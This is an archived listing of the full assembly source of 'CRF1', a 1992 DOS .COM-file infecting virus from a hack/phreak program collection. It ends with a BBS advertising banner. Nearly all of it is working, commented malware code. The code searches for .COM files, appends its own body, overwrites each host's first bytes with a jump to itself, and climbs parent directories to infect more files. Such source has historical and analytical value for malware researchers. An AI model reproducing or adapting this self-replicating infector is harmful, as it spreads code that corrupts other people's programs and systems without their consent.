home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / CRF.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  6KB  |  193 lines

  1.     title "CRF1 virus.  Born on the Fourth of July.  Written by TBSI."
  2.                             page 60,80
  3. code segment                        word public 'code'
  4.                             assume cs:code,ds:code
  5.                             org    100h
  6. main proc;edure
  7.  
  8.  
  9. ; As referenced in this source listing, Top-Of-File represents location 100h in
  10. ; the current memory segment, which is where the virus code is loaded into mem.
  11. ; The word "program" refers to the infected programs code and "virus" refers to
  12. ; the virus's code.  This information is included to clarify my use of the word
  13. ; "program" in the remarks throughout this listing.
  14.  
  15. ; Since the virus (with the exception of "call skip" and "db 26") can be loaded
  16. ; anywhere in memory depending on the length of the infected program, I made it
  17. ; to where the BP register would be loaded with the displacement of the code in
  18. ; memory.  This was done as follows:
  19. ;             1) a CALL instruction was issued.  It places the TRUE return
  20. ;                 address onto the stack.
  21. ;             2) instead of returning to there, the value was popped off of
  22. ;                 the stack into the BP register
  23. ;             3) then, it subtracts the EXPECTED value of BP (the address of
  24. ;                 EOFMARK in the 1st-time copy) from BP to get the offset.
  25. ;             4) all references to memory locations were thereafter changed
  26. ;                 to refernces to EXPECTED memory locations + BP
  27. ; This fixed the problem.
  28.  
  29.  
  30.  
  31.  
  32. tof:                            ;Top-Of-File
  33.         jmp    short begin            ;Skip over program
  34.         nop                    ;Reserve 3rd byte
  35. EOFMARK:    db    26                ;Disable DOS's TYPE
  36.  
  37. first_four:    nop                    ;First run copy only!
  38. address:    int    20h                ;First run copy only!
  39. check:        nop                    ;First run copy only!
  40.  
  41. begin:        call    nextline            ;Push BP onto stack
  42. nextline:    pop    bp                ;BP=location of Skip
  43.         sub    bp,offset nextline        ;BP=offset from 1st run
  44.  
  45.         mov    byte ptr [bp+offset infected],0    ;Reset infection count
  46.  
  47.         lea    si,[bp+offset first_four]    ;Original first 4 bytes
  48.         mov    di,offset tof            ;TOF never changes
  49.         mov    cx,4                ;Lets copy 4 bytes
  50.         cld                    ;Read left-to-right
  51.         rep    movsb                ;Copy the 4 bytes
  52.  
  53.         mov    ah,1Ah                ;Set DTA address ...
  54.         lea    dx,[bp+offset DTA]        ; ... to *our* DTA
  55.         int    21h                ;Call DOS to set DTA
  56.  
  57.         mov    ah,4Eh                ;Find First ASCIIZ
  58.         lea    dx,[bp+offset filespec]        ;DS:DX -} '*.COM',0
  59.         lea    si,[bp+offset filename]        ;Point to file
  60.         push    dx                ;Save DX
  61.         jmp    short continue            ;Continue...
  62.  
  63. return:        mov    ah,1ah                ;Set DTA address ...
  64.         mov    dx,80h                ; ... to default DTA
  65.         int    21h                ;Call DOS to set DTA
  66.         xor    ax,ax                ;AX= 0
  67.         mov    bx,ax                ;BX= 0
  68.         mov    cx,ax                ;CX= 0
  69.         mov    dx,ax                ;DX= 0
  70.         mov    si,ax                ;SI= 0
  71.         mov    di,ax                ;DI= 0
  72.         mov    sp,0FFFEh            ;SP= 0
  73.         mov    bp,100h                ;BP= 100h (RETurn addr)
  74.         push    bp                ; Put on stack
  75.         mov    bp,ax                ;BP= 0
  76.         ret                    ;JMP to 100h
  77.  
  78. nextfile:    or    bx,bx                ;Did we open the file?
  79.         jz    skipclose            ;No, so don't close it
  80.         mov    ah,3Eh                ;Close file
  81.         int    21h                ;Call DOS to close it
  82.         xor    bx,bx                ;Set BX back to 0
  83. skipclose:    mov    ah,4Fh                ;Find Next ASCIIZ
  84.  
  85. continue:    pop    dx                ;Restore DX
  86.         push    dx                ;Re-save DX
  87.         xor    cx,cx                ;CX= 0
  88.         xor    bx,bx
  89.         int    21h                ;Find First/Next
  90.         jnc    skipjmp
  91.         jmp    NoneLeft            ;Out of files
  92.  
  93. skipjmp:    mov    ax,3D02h            ;open file
  94.         mov    dx,si                ;point to filespec
  95.         int    21h                ;Call DOS to open file
  96.         jc    nextfile            ;Next file if error
  97.  
  98.         mov    bx,ax                ;get the handle
  99.         mov    ah,3Fh                ;Read from file
  100.         mov    cx,4                ;Read 4 bytes
  101.         lea    dx,[bp+offset first_four]    ;Read in the first 4
  102.         int    21h                ;Call DOS to read
  103.  
  104.         cmp    byte ptr [bp+offset check],26    ;Already infected?
  105.         je    nextfile            ;Yep, try again ...
  106.         cmp    byte ptr [bp+offset first_four],77  ;Mis-named .EXE?
  107.         je    nextfile            ;Yep, maybe next time!
  108.  
  109.         mov    ax,4202h            ;LSeek to EOF
  110.         xor    cx,cx                ;CX= 0
  111.         xor    dx,dx                ;DX= 0
  112.         int    21h                ;Call DOS to LSeek
  113.  
  114.         cmp    ax,0FD00h            ;Longer than 63K?
  115.         ja    nextfile            ;Yep, try again...
  116.         mov    [bp+offset addr],ax        ;Save call location
  117.  
  118.         mov    ah,40h                ;Write to file
  119.         mov    cx,4                ;Write 4 bytes
  120.         lea    dx,[bp+offset first_four]    ;Point to buffer
  121.         int    21h                ;Save the first 4 bytes
  122.  
  123.         mov    ah,40h                ;Write to file
  124.         mov    cx,offset eof-offset begin    ;Length of target code
  125.         lea    dx,[bp+offset begin]        ;Point to virus start
  126.         int    21h                ;Append the virus
  127.  
  128.         mov    ax,4200h            ;LSeek to TOF
  129.         xor    cx,cx                ;CX= 0
  130.         xor    dx,dx                ;DX= 0
  131.         int    21h                ;Call DOS to LSeek
  132.  
  133.         mov    ax,[bp+offset addr]        ;Retrieve location
  134.         inc    ax                ;Adjust location
  135.  
  136.         mov    [bp+offset address],ax        ;address to call
  137.         mov    byte ptr [bp+offset first_four],0E9h  ;JMP rel16 inst.
  138.         mov    byte ptr [bp+offset check],26    ;EOFMARK
  139.  
  140.         mov    ah,40h                ;Write to file
  141.         mov    cx,4                ;Write 4 bytes
  142.         lea    dx,[bp+offset first_four]    ;4 bytes are at [DX]
  143.         int    21h                ;Write to file
  144.  
  145.         inc    byte ptr [bp+offset infected]    ;increment counter
  146.         jmp    nextfile            ;Any more?
  147.  
  148. NoneLeft:    cmp    byte ptr [bp+offset infected],2    ;At least 2 infected?
  149.         jae    TheEnd                ;The party's over!
  150.  
  151.         mov    di,100h                ;DI= 100h
  152.         cmp    word ptr [di],20CDh        ;an INT 20h?
  153.         je    TheEnd                ;Don't go to prev. dir.
  154.  
  155.         lea    dx,[bp+offset prevdir]        ;'..'
  156.         mov    ah,3Bh                ;Set current directory
  157.         int    21h                ;CHDIR ..
  158.         jc    TheEnd                ;We're through!
  159.         mov    ah,4Eh
  160.         jmp    continue            ;Start over in new dir
  161.  
  162. TheEnd:        jmp    return                ;The party's over!
  163.  
  164. filespec:    db    '*.COM',0            ;File specification
  165. prevdir:    db    '..',0                ;previous directory
  166.  
  167. ; None of this information is included in the virus's code.  It is only used
  168. ; during the search/infect routines and it is not necessary to preserve it
  169. ; in between calls to them.
  170.  
  171. eof:
  172. DTA:        db    21 dup (?)            ;internal search's data
  173.  
  174. attribute    db    ?                ;attribute
  175. file_time    db    2 dup (?)            ;file's time stamp
  176. file_date    db    2 dup (?)            ;file's date stamp
  177. file_size    db    4 dup (?)            ;file's size
  178. filename    db    13 dup (?)            ;filename
  179.  
  180. infected    db    ?                ;infection count
  181.  
  182. addr        dw    ?                ;Address
  183.  
  184.                             main endp;rocedure
  185.                             code ends;egment
  186.  
  187.             end main
  188. ; ─────────────────────────────────────────────────────────────────────────
  189. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  190. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  191. ; ─────────────────────────────────────────────────────────────────────────
  192.  
  193.